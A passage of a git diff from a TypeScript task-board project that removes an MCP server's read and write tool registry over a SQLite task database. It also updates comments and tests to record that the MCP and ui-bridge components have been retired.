transient: the caller must not degrade the session for it. - closeReadonlyDb(db); - return { db: null, busy: err instanceof BusyDbError || isBusyError(err) }; - } -} - -// ============================================================================ -// Payload shapes -// ============================================================================ - -export interface TaskSummary { - id: string; - title: string; - status: TaskRow['status']; - claimedBy: string | null; - wish: string | null; - group: string | null; -} - -function toSummary(t: TaskRow): TaskSummary { - return { id: t.id, title: t.title, status: t.status, claimedBy: t.claimedBy, wish: t.wish, group: t.group }; -} - -interface StatusCounts { - blocked: number; - ready: number; - in_progress: number; - done: number; - total: number; -} - -function tally(tasks: TaskRow[]): StatusCounts { - const counts: StatusCounts = { blocked: 0, ready: 0, in_progress: 0, done: 0, total: 0 }; - for (const t of tasks) { - counts[t.status]++; - counts.total++; - } - return counts; -} - -// ============================================================================ -// Git branch resolution (for genie_worktree_context) -// ============================================================================ - -/** Current git branch of `cwd`, or `null` when unavailable (detached / not a repo). */ -function currentBranch(cwd: string): string | null { - try { - const branch = execFileSync('git', ['rev-parse', '--abbrev-ref', 'HEAD'], { - cwd, - encoding: 'utf-8', - stdio: ['pipe', 'pipe', 'pipe'], - }).trim(); - return branch && branch !== 'HEAD' ? branch : null; - } catch { - return null; - } -} - -/** - * `wish/<slug>[-<group>]` disambiguation lives in the shared - * {@link resolveWishBranch} module — same implementation the SessionStart hook - * bundles (see resolve-wish-branch.ts). The board supplies genie.db slugs, - * longest-first; the hook supplies its own merged slug list. - */ - -// ============================================================================ -// Tool context + registry -// ============================================================================ - -export interface ToolContext { - /** Database handle for this call (write-capable or degraded-readonly), or `null` when absent. */ - db: Database | null; - /** Working directory for git branch resolution. Defaults to `process.cwd()`. */ - cwd: string; - /** - * The fail-closed project context resolved by the server loop when a resolver - * is injected. When its `kind` is not `ok`, the loop returns a typed error for - * every tool call instead of an empty board (see mcp-server.ts). Absent for - * consumers (e.g. ui-bridge) that do not opt into fail-closed resolution. - */ - context?: ProjectContext; -} - -export interface McpTool { - name: string; - description: string; - inputSchema: Record<string, unknown>; - handler(ctx: ToolContext, args: Record<string, unknown>): unknown; -} - -function argString(args: Record<string, unknown>, key: string): string | undefined { - const v = args[key]; - return typeof v === 'string' && v.length > 0 ? v : undefined; -} - -// --- genie_board ----------------------------------------------------------- - -interface BoardPayload { - board: string | null; - counts: StatusCounts; - tasks: TaskSummary[]; -} - -function genieBoard(ctx: ToolContext, args: Record<string, unknown>): BoardPayload { - const emptyCounts: StatusCounts = { blocked: 0, ready: 0, in_progress: 0, done: 0, total: 0 }; - const boardArg = argString(args, 'board'); - const wishArg = argString(args, 'wish'); - if (!ctx.db) return { board: boardArg ?? null, counts: emptyCounts, tasks: [] }; - - const filter: TaskFilter = {}; - let boardName: string | null = null; - if (boardArg) { - const board = getBoardByName(ctx.db, boardArg); - // Unknown board name → empty projection (never throws at caller). - if (!board) return { board: boardArg, counts: emptyCounts, tasks: [] }; - boardName = board.name; - filter.boardId = board.id; - } - if (wishArg) filter.wish = wishArg; - - const tasks = listTasks(ctx.db, filter); - return { board: boardName, counts: tally(tasks), tasks: tasks.map(toSummary) }; -} - -// --- genie_wish_status ----------------------------------------------------- - -interface WishStatusPayload { - wish: string; - groups: Array<Omit<WishGroupRow, 'wish'>>; - tasks: TaskSummary[]; -} - -function genieWishStatus(ctx: ToolContext, args: Record<string, unknown>): WishStatusPayload { - const wish = argString(args, 'wish') ?? ''; - if (!ctx.db) return { wish, groups: [], tasks: [] }; - const groups: WishStatusPayload['groups'] = []; // wish-group machinery is production-dead — literal empty - const tasks = listTasks(ctx.db, { wish }); - return { wish, groups, tasks: tasks.map(toSummary) }; -} - -// --- genie_worktree_context ------------------------------------------------ - -interface WorktreeContextPayload { - branch: string | null; - resolved: boolean; - wish: string | null; - group: string | null; - tasks: TaskSummary[]; -} - -function genieWorktreeContext(ctx: ToolContext, args: Record<string, unknown>): WorktreeContextPayload { - const branch = argString(args, 'branch') ?? currentBranch(ctx.cwd); - const parsed = branch ? resolveWishBranch(ctx.db ? listWishSlugs(ctx.db) : [], branch) : null; - - if (parsed) { - const wishTasks = ctx.db ? listTasks(ctx.db, { wish: parsed.wish }) : []; - // Top-level wish branch (no group) → all of the wish's tasks; a group branch → just that group. - const tasks = parsed.group === null ? wishTasks : wishTasks.filter((t) => t.group === parsed.group); - return { branch, resolved: true, wish: parsed.wish, group: parsed.group, tasks: tasks.map(toSummary) }; - } - - // Non-wish branch (or none) → repo-board fallback: all tasks, unresolved. - const tasks = ctx.db ? listTasks(ctx.db, {}) : []; - return { branch, resolved: false, wish: null, group: null, tasks: tasks.map(toSummary) }; -} - -// --- genie_task ------------------------------------------------------------ - -// The frozen `genie_task` payload is exactly the pre-assignment TaskRow key -// set (WISH Decision 7) — the shared projection lives in task-state.ts next -// to TaskRow, so `task list --json` and this MCP shape cannot drift apart. - -function genieTask( - ctx: ToolContext, - args: Record<string, unknown>, -): FrozenTaskRow | { error: 'not_found'; id: string } { - const id = argString(args, 'id') ?? ''; - const task = ctx.db ? getTask(ctx.db, id) : null; - return task ? toFrozenTaskRow(task) : { error: 'not_found', id }; -} - -// --- genie_active ---------------------------------------------------------- - -interface ActiveTask extends TaskSummary { - claimedAt: number | null; -} - -function genieActive(ctx: ToolContext): { tasks: ActiveTask[] } { - if (!ctx.db) return { tasks: [] }; - const tasks = listTasks(ctx.db, { status: 'in_progress' }); - return { tasks: tasks.map((t) => ({ ...toSummary(t), claimedAt: t.claimedAt })) }; -} - -// ============================================================================ -// The 5 read tools (the read registry ui-bridge splices) -// ============================================================================ - -export const MCP_TOOLS: McpTool[] = [ - { - name: 'genie_board', - description: 'Board status counts and tasks; optional board name and wish-slug filters.', - inputSchema: { - type: 'object', - properties: { - board: { type: 'string', description: 'board name; default repo board' }, - wish: { type: 'string', description: 'filter to a wish slug' }, - }, - required: [], - }, - handler: genieBoard, - }, - { - name: 'genie_wish_status', - description: "A wish's execution groups (DAG progress) and its tasks.", - inputSchema: { - type: 'object', - properties: { wish: { type: 'string', description: 'wish slug' } }, - required: ['wish'], - }, - handler: genieWishStatus, - }, - { - name: 'genie_worktree_context', - description: - "Resolve a wish/<slug>-<group> git branch to its wish, group, and tasks (the pane's 'what am I here for').", - inputSchema: { - type: 'object', - properties: { branch: { type: 'string', description: 'override; default = current git branch' } }, - required: [], - }, - handler: genieWorktreeContext, - }, - { - name: 'genie_task', - description: 'Full detail for a single task by id.', - inputSchema: { - type: 'object', - properties: { id: { type: 'string', description: 'task id, e.g. t_...' } }, - required: ['id'], - }, - handler: genieTask, - }, - { - name: 'genie_active', - description: 'All in-progress tasks and who claimed each.', - inputSchema: { type: 'object', properties: {}, required: [] }, - handler: (ctx) => genieActive(ctx), - }, -]; - -// ============================================================================ -// Operative write tools (Group 2 of wish mcp-write-tools) -// ============================================================================ -// -// The 12 operative-core mutation verbs as thin wrappers over the EXACT -// `task-state.ts` functions `genie task` uses (Decision 3: never reimplement -// the mutation semantics). Each tool: -// 1. refuses a null/degraded handle up front (typed `read_only_database`); -// 2. dispatches to the same function + argument shapes as v5-task.ts; -// 3. wraps the mutation in ONE catch boundary mapping the task-state domain -// error classes to typed `isError: true` payload codes. -// -// Error payload codes (documented per tool in `description`): -// claim_conflict — CheckoutConflictError (lost the claim race) -// not_found — UnknownTaskError / UnknownBoardError (board ref in `detail`) -// invalid_lane — LaneError -// dependency_cycle — CycleError -// refused_transition— TaskBlockedError / TaskNotReadyError / -// TaskCompleteError / TaskReleaseError (class name in `detail`) -// read_only_database— degraded readonly handle (checked first) OR a raw -// SQLite readonly-class write failure past that check -// invalid_arguments — missing/malformed tool arguments -// database_unavailable — defensive null-handle guard (unreachable in the -// fail-closed server, which refuses to dispatch on null) -// Unexpected errors are NOT mapped — they propagate to the loop's `-32603` -// backstop. - -/** A mapped write-tool error payload: `error` code plus per-code fields. */ -type WriteErrorPayload = Record<string, unknown> & { error: string }; - -/** - * True for raw SQLite readonly-class write failures (`SQLITE_READONLY` and its - * extended variants) — the belt-and-suspenders backstop for a write that - * reaches a degraded readonly handle past the {@link isDegradedReadonlyDb} - * check. bun surfaces these as `SQLiteError` with `code: 'SQLITE_READONLY'` - * and `errno: 8` (the primary SQLite result code; extended codes keep it in - * the low byte). - */ -function isSqliteReadonlyError(err: Error): boolean { - const errno = (err as { errno?: unknown }).errno; - if (typeof errno === 'number' && (errno & 0xff) === 8) return true; - return /SQLITE_READONLY|readonly database/i.test(err.message); -} - -/** Map a thrown task-state domain error to a typed payload, or null to rethrow. */ -function mapWriteError(err: unknown): WriteErrorPayload | null { - if (err instanceof CheckoutConflictError) { - return { error: 'claim_conflict', taskId: err.taskId, message: err.message }; - } - if (err instanceof UnknownTaskError) { - return { error: 'not_found', id: err.id, message: err.message }; - } - if (err instanceof UnknownBoardError) { - return { error: 'not_found', detail: err.ref, message: err.message }; - } - if (err instanceof LaneError) { - return { error: 'invalid_lane', message: err.message }; - } - if (err instanceof CycleError) { - return { error: 'dependency_cycle', message: err.message }; - } - if ( - err instanceof TaskBlockedError || - err instanceof TaskNotReadyError || - err instanceof TaskCompleteError || - err instanceof TaskReleaseError - ) { - return { error: 'refused_transition', detail: err.constructor.name, message: err.message }; - } - if (err instanceof Error && isSqliteReadonlyError(err)) { - return { error: 'read_only_database', detail: err.message }; - } - return null; // unexpected — propagate to the loop's -32603 backstop -} - -/** ONE catch boundary per tool: run the mutation, mapping domain errors. */ -function runWrite<T>(mutation: () => T): T | ToolErrorResult<WriteErrorPayload> { - try { - return mutation(); - } catch (err) { - const mapped = mapWriteError(err); - if (mapped !== null) return toolError(mapped); - throw err; - } -} - -/** - * Shared write-tool guard: a null or degraded-readonly handle is a typed error, - * checked FIRST so no mutation reaches a handle that cannot write. - */ -function requireWriteHandle(ctx: ToolContext): Database | ToolErrorResult<WriteErrorPayload> { - if (!ctx.db) { - // Unreachable in the fail-closed server (the loop refuses to dispatch with - // a null handle) — defensive for any future legacy consumer. - return toolError({ error: 'database_unavailable', detail: 'no database handle' }); - } - if (isDegradedReadonlyDb(ctx.db)) { - return toolError({ - error: 'read_only_database', - detail: 'the database is served read-only (write path unavailable); restore write access and retry', - }); - } - return ctx.db; -} - -// ============================================================================ -// Identity (the shared resolvers in identity.ts — Decision 8) -// ============================================================================ - -/** - * Per-call `author` arg wins; the server-process env identity resolved by the - * shared {@link resolveEventAuthor} is the fallback (Decision 8), so multiple - * agents on one long-lived server attribute correctly. - */ -function resolveAuthor(args: Record<string, unknown>): EventAuthor { - const explicit = argString(args, 'author'); - return explicit === undefined ? resolveEventAuthor() : { author: explicit, authorKind: null }; -} - -/** Require a non-empty string arg, returning a typed error payload when absent. */ -function requireArg(args: Record<string, unknown>, key: string): string | ToolErrorResult<WriteErrorPayload> { - const value = argString(args, key); - return value === undefined ? toolError({ error: 'invalid_arguments', detail: `${key} is required.` }) : value; -} - -// --- genie_task_create ------------------------------------------------------ - -function genieTaskCreate(ctx: ToolContext, args: Record<string, unknown>): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const title = argString(args, 'title')?.trim(); - if (!title) return toolError({ error: 'invalid_arguments', detail: 'title is required and must not be empty.' }); - const wish = argString(args, 'wish'); - const group = argString(args, 'group'); - if (group && !wish) return toolError({ error: 'invalid_arguments', detail: 'group requires wish.' }); - const board = argString(args, 'board'); - return runWrite(() => { - const boardId = board ? resolveBoard(db, board).id : undefined; - const task = createTask(db, { title, boardId, wish, group }); - return { task: toSummary(task) }; - }); -} - -// --- genie_task_checkout ---------------------------------------------------- - -function genieTaskCheckout(ctx: ToolContext, args: Record<string, unknown>): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const id = requireArg(args, 'id'); - if (isToolError(id)) return id; - const worker = requireArg(args, 'worker'); - if (isToolError(worker)) return worker; - return runWrite(() => { - const task = claimTask(db, id, worker, { author: resolveAuthor(args) }); - return { task: toSummary(task) }; - }); -} - -// --- genie_task_done -------------------------------------------------------- - -function genieTaskDone(ctx: ToolContext, args: Record<string, unknown>): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const id = requireArg(args, 'id'); - if (isToolError(id)) return id; - return runWrite(() => { - // completeTask runs recomputeReady inside its winning transaction — the - // same ready-set recompute the CLI's `task done` triggers. - const task = completeTask(db, id, resolveAuthor(args)); - return { task: toSummary(task) }; - }); -} - -// --- genie_task_move -------------------------------------------------------- - -function genieTaskMove(ctx: ToolContext, args: Record<string, unknown>): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const id = requireArg(args, 'id'); - if (isToolError(id)) return id; - const to = requireArg(args, 'to'); - if (isToolError(to)) return to; - return runWrite(() => { - const result = moveTask(db, id, to, resolveAuthor(args)); - return { task: toSummary(result.task), from: result.from, to: result.to }; - }); -} - -// --- genie_task_block ------------------------------------------------------- - -function genieTaskBlock(ctx: ToolContext, args: Record<string, unknown>): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const id = requireArg(args, 'id'); - if (isToolError(id)) return id; - const reason = argString(args, 'reason')?.trim(); - if (!reason) return toolError({ error: 'invalid_arguments', detail: 'reason is required and must not be empty.' }); - const kind: BlockKind = args.hold === true ? 'hold' : 'work'; - return runWrite(() => { - const task = blockTask(db, id, reason, resolveAuthor(args), kind); - return { task: toSummary(task) }; - }); -} - -// --- genie_task_unblock ----------------------------------------------------- - -function genieTaskUnblock(ctx: ToolContext, args: Record<string, unknown>): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const id = requireArg(args, 'id'); - if (isToolError(id)) return id; - return runWrite(() => { - const task = unblockTask(db, id, resolveAuthor(args)); - return { task: toSummary(task) }; - }); -} - -// --- genie_task_release ----------------------------------------------------- - -function genieTaskRelease(ctx: ToolContext, args: Record<string, unknown>): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const id = requireArg(args, 'id'); - if (isToolError(id)) return id; - return runWrite(() => { - const task = releaseTask(db, id, resolveAuthor(args)); - return { task: toSummary(task) }; - }); -} - -// --- genie_task_comment / genie_task_report --------------------------------- - -function appendNoteEvent(ctx: ToolContext, args: Record<string, unknown>, kind: 'comment' | 'report'): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const id = requireArg(args, 'id'); - if (isToolError(id)) return id; - const text = argString(args, 'text')?.trim(); - if (!text) return toolError({ error: 'invalid_arguments', detail: 'text is required and must not be empty.' }); - return runWrite(() => { - if (!getTask(db, id)) throw new UnknownTaskError(id); - const author = resolveAuthor(args); - const event = appendTaskEvent(db, id, { - kind, - note: text, - authorKind: author.authorKind ?? undefined, - author: author.author ?? undefined, - }); - return { taskId: id, event }; - }); -} - -function genieTaskComment(ctx: ToolContext, args: Record<string, unknown>): unknown { - return appendNoteEvent(ctx, args, 'comment'); -} - -function genieTaskReport(ctx: ToolContext, args: Record<string, unknown>): unknown { - return appendNoteEvent(ctx, args, 'report'); -} - -// --- genie_task_heartbeat --------------------------------------------------- - -function genieTaskHeartbeat(ctx: ToolContext, args: Record<string, unknown>): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const id = requireArg(args, 'id'); - if (isToolError(id)) return id; - return runWrite(() => { - if (!getTask(db, id)) throw new UnknownTaskError(id); - const heartbeatAt = recordHeartbeat(db, id); - return { taskId: id, heartbeatAt }; - }); -} - -// --- genie_task_set_wish ---------------------------------------------------- - -function genieTaskSetWish(ctx: ToolContext, args: Record<string, unknown>): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const id = requireArg(args, 'id'); - if (isToolError(id)) return id; - const wish = argString(args, 'wish')?.trim() || undefined; - const group = argString(args, 'group')?.trim() || undefined; - const clear = args.clear === true; - // A SUPPLIED but empty/blank group fails loudly, exactly as `task set-wish - // --group ''` does — silently dropping it would attach the card to the wish - // with no group and report success (CLI parity, v5-task.ts handleSetWish). - if (args.group !== undefined && !group) { - return toolError({ error: 'invalid_arguments', detail: 'group must not be empty.' }); - } - if (group && !wish) return toolError({ error: 'invalid_arguments', detail: 'group requires wish.' }); - if (clear && wish) return toolError({ error: 'invalid_arguments', detail: 'clear cannot be combined with wish.' }); - if (!clear && !wish) return toolError({ error: 'invalid_arguments', detail: 'wish <slug> or clear is required.' }); - return runWrite(() => { - const to = { wish: wish ?? null, group: group ?? null }; - const result = setTaskWish(db, id, to, resolveAuthor(args)); - return { task: toSummary(result.task), from: result.from, to: result.to }; - }); -} - -// --- genie_task_add_dependency ---------------------------------------------- - -function genieTaskAddDependency(ctx: ToolContext, args: Record<string, unknown>): unknown { - const db = requireWriteHandle(ctx); - if (isToolError(db)) return db; - const id = requireArg(args, 'id'); - if (isToolError(id)) return id; - const dependsOn = requireArg(args, 'depends_on'); - if (isToolError(dependsOn)) return dependsOn; - return runWrite(() => { - addDependency(db, id, dependsOn); - return { taskId: id, dependsOnId: dependsOn }; - }); -} - -// ============================================================================ -// The 12 operative write tools -// ============================================================================ - -export const MCP_WRITE_TOOLS: McpTool[] = [ - { - name: 'genie_task_create', - description: - 'Create a task. Errors: invalid_arguments (missing title, or group without wish), not_found (unknown board), read_only_database (db served read-only), database_unavailable.', - inputSchema: { - type: 'object', - properties: { - title: { type: 'string', description: 'task title (required, non-empty)' }, - board: { type: 'string', description: 'board id or name; default repo board' }, - wish: { type: 'string', description: 'wish slug this task belongs to' }, - group: { type: 'string', description: 'wish-group name (requires wish)' }, - }, - required: ['title'], - }, - handler: genieTaskCreate, - }, - { - name: 'genie_task_checkout', - description: - "Atomically claim a ready task for a worker (the CLI's task checkout). Errors: claim_conflict (already claimed or not ready), refused_transition (enforced block), not_found (unknown id), invalid_arguments (missing id/worker), read_only_database, database_unavailable.", - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - worker: { type: 'string', description: 'worker identity recorded in claimed_by (required)' }, - author: { type: 'string', description: 'event attribution; defaults to the server env identity' }, - }, - required: ['id', 'worker'], - }, - handler: genieTaskCheckout, - }, - { - name: 'genie_task_done', - description: - "Mark a task done and recompute the ready set (the CLI's task done). Errors: not_found (unknown id), refused_transition (blocked or already-done task), invalid_arguments (missing id), read_only_database, database_unavailable.", - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - author: { type: 'string', description: 'event attribution; defaults to the server env identity' }, - }, - required: ['id'], - }, - handler: genieTaskDone, - }, - { - name: 'genie_task_move', - description: - "Move a card to a lane defined by its board (the CLI's task move). Errors: not_found (unknown id), invalid_lane (no lanes or unknown target lane), invalid_arguments (missing id/to), read_only_database, database_unavailable.", - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - to: { type: 'string', description: 'target lane name (required)' }, - author: { type: 'string', description: 'event attribution; defaults to the server env identity' }, - }, - required: ['id', 'to'], - }, - handler: genieTaskMove, - }, - { - name: 'genie_task_block', - description: - "Place an enforced block on a card, refusing checkout until cleared (the CLI's task block). Errors: not_found (unknown id), invalid_arguments (missing id/reason), read_only_database, database_unavailable.", - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - reason: { type: 'string', description: 'why the card is blocked (required, non-empty)' }, - hold: { type: 'boolean', description: 'record as a deliberate hold (parked) rather than a work problem' }, - author: { type: 'string', description: 'event attribution; defaults to the server env identity' }, - }, - required: ['id', 'reason'], - }, - handler: genieTaskBlock, - }, - { - name: 'genie_task_unblock', - description: - "Clear an enforced block from a card (the CLI's task unblock). Errors: not_found (unknown id), invalid_arguments (missing id), read_only_database, database_unavailable.", - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - author: { type: 'string', description: 'event attribution; defaults to the server env identity' }, - }, - required: ['id'], - }, - handler: genieTaskUnblock, - }, - { - name: 'genie_task_release', - description: - "Release a claim, returning an in-progress card to the ready queue (the CLI's task release). Errors: not_found (unknown id), refused_transition (not in_progress), invalid_arguments (missing id), read_only_database, database_unavailable.", - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - author: { type: 'string', description: 'event attribution; defaults to the server env identity' }, - }, - required: ['id'], - }, - handler: genieTaskRelease, - }, - { - name: 'genie_task_comment', - description: - "Append an authored comment to the card timeline (the CLI's task comment). Errors: not_found (unknown id), invalid_arguments (missing id/text), read_only_database, database_unavailable.", - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - text: { type: 'string', description: 'comment text (required, non-empty)' }, - author: { type: 'string', description: 'event attribution; defaults to the server env identity' }, - }, - required: ['id', 'text'], - }, - handler: genieTaskComment, - }, - { - name: 'genie_task_report', - description: - "Append an authored worker report to the card timeline (the CLI's task report). Errors: not_found (unknown id), invalid_arguments (missing id/text), read_only_database, database_unavailable.", - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - text: { type: 'string', description: 'report text (required, non-empty)' }, - author: { type: 'string', description: 'event attribution; defaults to the server env identity' }, - }, - required: ['id', 'text'], - }, - handler: genieTaskReport, - }, - { - name: 'genie_task_heartbeat', - description: - "Record a liveness heartbeat for a claimed card (the CLI's task heartbeat). Errors: not_found (unknown id), invalid_arguments (missing id), read_only_database, database_unavailable.", - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - }, - required: ['id'], - }, - handler: genieTaskHeartbeat, - }, - { - name: 'genie_task_set_wish', - description: - "Attach, re-point, or clear the wish identity on a card (the CLI's task set-wish). Errors: not_found (unknown id), invalid_arguments (missing id, empty group, group without wish, clear with wish, or neither wish nor clear), read_only_database, database_unavailable.", - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - wish: { type: 'string', description: 'wish slug to attach the card to' }, - group: { type: 'string', description: 'wish-group name (requires wish)' }, - clear: { type: 'boolean', description: 'remove the wish and group from the card' }, - author: { type: 'string', description: 'event attribution; defaults to the server env identity' }, - }, - required: ['id'], - }, - handler: genieTaskSetWish, - }, - { - name: 'genie_task_add_dependency', - description: - 'Insert a dependency edge taskId depends_on dependsOnId, rejecting self-deps and cycles (the task-state addDependency the CLI uses at create). Errors: not_found (unknown task), dependency_cycle (self or transitive cycle), invalid_arguments (missing id/depends_on), read_only_database, database_unavailable.', - inputSchema: { - type: 'object', - properties: { - id: { type: 'string', description: 'task id, e.g. t_... (required)' }, - depends_on: { type: 'string', description: 'id of the task this task depends on (required)' }, - }, - required: ['id', 'depends_on'], - }, - handler: genieTaskAddDependency, - }, -]; diff --git a/src/lib/v5/resolve-wish-branch.test.ts b/src/lib/v5/resolve-wish-branch.test.ts index 71c4578f4..fb01dd970 100644 --- a/src/lib/v5/resolve-wish-branch.test.ts +++ b/src/lib/v5/resolve-wish-branch.test.ts @@ -1,7 +1,7 @@ import { describe, expect, test } from 'bun:test'; import { resolveWishBranch } from './resolve-wish-branch.js'; -// Longest-first ordering is part of the contract (listWishSlugs provides it). +// Longest-first ordering is part of the contract (the caller provides it). const KNOWN = ['genie-mcp', 'genie', 'hooks-v2']; describe('resolveWishBranch — the one shared wish-branch resolver', () => { diff --git a/src/lib/v5/resolve-wish-branch.ts b/src/lib/v5/resolve-wish-branch.ts index ed82f7ffe..fda1ea6f1 100644 --- a/src/lib/v5/resolve-wish-branch.ts +++ b/src/lib/v5/resolve-wish-branch.ts @@ -1,9 +1,8 @@ /** * Shared `wish/<slug>[-<group>]` branch resolution — the ONE implementation - * every consumer uses. The board (`mcp-tools.ts`) resolves against genie.db - * slugs; the SessionStart hook resolves against the same list read from - * genie.db, falling back to the wish-file scan's slugs when the db is - * unreadable. A second implementation is the drift class hooks-v2 exists to + * every consumer uses. Callers resolve against genie.db slugs; the SessionStart + * hook resolves against the same list read from genie.db, falling back to the + * wish-file scan's slugs when the db is unreadable. A second implementation is the drift class hooks-v2 exists to * kill, so this module is PURE: caller-supplied slugs, no sqlite import, no * filesystem, no environment — the esbuild hook bundle inlines it without ever * touching `bun:sqlite` (the hook runs as `node …/session-context.cjs`, where @@ -26,7 +25,7 @@ export interface ResolvedWishBranch { * 3. no known wish (brand-new branch) → last-dash heuristic, else whole rest. * Returns `null` only when the branch is not a `wish/…` branch. * - * The caller supplies `knownSlugs` longest-first (`listWishSlugs` orders it; the + * The caller supplies `knownSlugs` longest-first (the * hook re-sorts its merged db/file slug list). There is no * verified-launch-worktree step: wish-group rows are production-dead (no * writer), so a `<slug>-<group>` branch can never be confirmed against a live diff --git a/src/lib/v5/sqlite-open.test.ts b/src/lib/v5/sqlite-open.test.ts index 463b64f3a..abe11c395 100644 --- a/src/lib/v5/sqlite-open.test.ts +++ b/src/lib/v5/sqlite-open.test.ts @@ -3,11 +3,11 @@ * poisoned-WAL-index recovery helper it deliberately does NOT call. * * `openSqlite` is the fleet hot path (`genie task`, `task sync`, the git-hook - * sync, the global omni database, MCP reads) and stays churn-free; the recovery - * is opt-in and wired only into the MCP write open, the path that creates the - * poison. These tests drive the helper directly — predicates, retry contract, - * and the live-peer skips that keep it from touching a contended database. The - * real end-to-end poison is exercised where it is scoped, in mcp-tools.test.ts; + * sync, the global omni database) and stays churn-free; the recovery is opt-in + * and was wired only into the retired MCP write open, the path that created the + * poison. No shipped caller remains, so these tests are the whole contract: + * they drive the helper directly — predicates, retry contract, and the + * live-peer skips that keep it from touching a contended database. * genie-db.test.ts pins that the shared path does not heal it. */ diff --git a/src/lib/v5/sqlite-open.ts b/src/lib/v5/sqlite-open.ts index c893942b9..51443aaa6 100644 --- a/src/lib/v5/sqlite-open.ts +++ b/src/lib/v5/sqlite-open.ts @@ -225,10 +225,13 @@ function openInitialized(opts: OpenSqliteOptions): Database { // plain WAL open/close never performs; run from every process of a live fleet // (`genie task` workers, omni-queue resolvers, git-hook sync) it drove bun's // Linux shm handling into SIGBUS. Recovery therefore belongs to the ONE -// component that CREATES the poison: the MCP server's degraded read-only -// session, whose close writes the header (`openWriteableDb` in mcp-tools.ts, -// re-opened by `promoteDegradedHandle` in mcp-server.ts). That path is -// single-owner and low-concurrency — the fleet never runs the probe. +// component that CREATES the poison: a degraded read-only session whose close +// writes the header. That component was the retired MCP/ui-bridge server pair, +// so today NO shipped path creates the poison and NO shipped path calls the +// recovery below (see {@link openWithWalIndexRecovery}). The scoping contract is +// retained verbatim because it is the reason the fleet primitive must stay +// churn-free: any future single-owner, low-concurrency writer that reintroduces +// a degraded read-only session opts in here and nowhere else. // // "Single-owner" is an assumption about the CALLER, and one MCP server per // database does honour it. Two MCP servers on one `.genie/genie.db` do not: both @@ -473,8 +476,11 @@ function releaseRecoveryLock(lockPath: string | null): void { * from scratch rather than assuming anything: by then the previous holder has * usually healed the database, and the ordinary healthy path just proceeds. * - * CALLERS: the MCP write path only (`tryWriteOpen` in mcp-tools.ts). See the - * section header above for why this must never wrap the fleet-wide + * CALLERS: none shipped. The sole caller was the MCP write path (`tryWriteOpen` + * in `mcp-tools.ts`), retired together with `genie mcp` and `genie ui-bridge`; + * with it went the only component that creates the poison. The helper and its + * tests are retained as the opt-in seam for a future single-owner writer. See + * the section header above for why this must never wrap the fleet-wide * {@link openSqlite}. * * Never runs for a contended database. Two independent guards enforce that: a diff --git a/src/lib/v5/task-state.ts b/src/lib/v5/task-state.ts index 5d5fa6a4a..a036d1a9f 100644 --- a/src/lib/v5/task-state.ts +++ b/src/lib/v5/task-state.ts @@ -243,16 +243,6 @@ export const DEFAULT_STALE_MS = 15 * 60 * 1000; export type WishGroupStatus = 'blocked' | 'ready' | 'in_progress' | 'done'; -export interface WishGroupRow { - wish: string; - name: string; - status: WishGroupStatus; - dependsOn: string[]; - assignee: string | null; - startedAt: number | null; - completedAt: number | null; -} - /** A single hire-roster entry: one agent adapter hired into one wish. */ export interface HireRosterRow { /** Wish slug this hire belongs to. */ @@ -1498,27 +1488,11 @@ export function linkTaskToWish( } // ============================================================================ - -/** - * Distinct known wish slugs (from tasks + wish_groups), longest first. Used to - * disambiguate a `wish/<slug>-<group>` branch when the slug itself contains - * hyphens (`genie-mcp` vs a `genie` wish with an `mcp` group). - */ -export function listWishSlugs(db: Database): string[] { - const rows = db - .query( - // UNION already de-duplicates; order longest-first for prefix disambiguation. - `SELECT wish FROM ( - SELECT wish FROM tasks WHERE wish IS NOT NULL - UNION SELECT wish FROM wish_groups WHERE wish IS NOT NULL - ) ORDER BY LENGTH(wish) DESC`, - ) - .all() as Array<{ wish: string }>; - return rows.map((r) => r.wish); -} - -// ============================================================================ -// Hire roster (single-row upsert / delete — the bridge's write surface) +// Hire roster (single-row upsert / delete) +// +// The retired `genie ui-bridge` was this surface's only shipped writer; the rows +// remain part of exported/imported board state (roadmap sync excludes them as +// machine-local), so the accessors stay. // ============================================================================ interface RawHire { diff --git a/src/term-commands/ui-bridge.test.ts b/src/term-commands/ui-bridge.test.ts index a2f43588f..82ca33be0 100644 --- a/src/term-commands/ui-bridge.test.ts +++ b/src/term-commands/ui-bridge.test.ts @@ -1,508 +1,48 @@ -/** - * genie ui-bridge — CLI-level tests. Drives the real `genie.ts ui-bridge` stdio - * server as a subprocess (as the dash-fork UI would), speaking newline-delimited - * JSON-RPC 2.0 against throwaway git-repo fixtures seeded via the real v5 state - * layer. Also drives `genie mcp` to prove the plumbing extraction left it - * unchanged (regression: zero write tools + pinned initialize response). - * - * Timing tests are deadline-based with generous margins (≤1s push, ≤2s - * shutdown) to stay flake-free in CI. - */ - -import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; -import { execFileSync } from 'node:child_process'; -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'; +import { describe, expect, test } from 'bun:test'; +import { existsSync, mkdtempSync, readdirSync, rmSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { 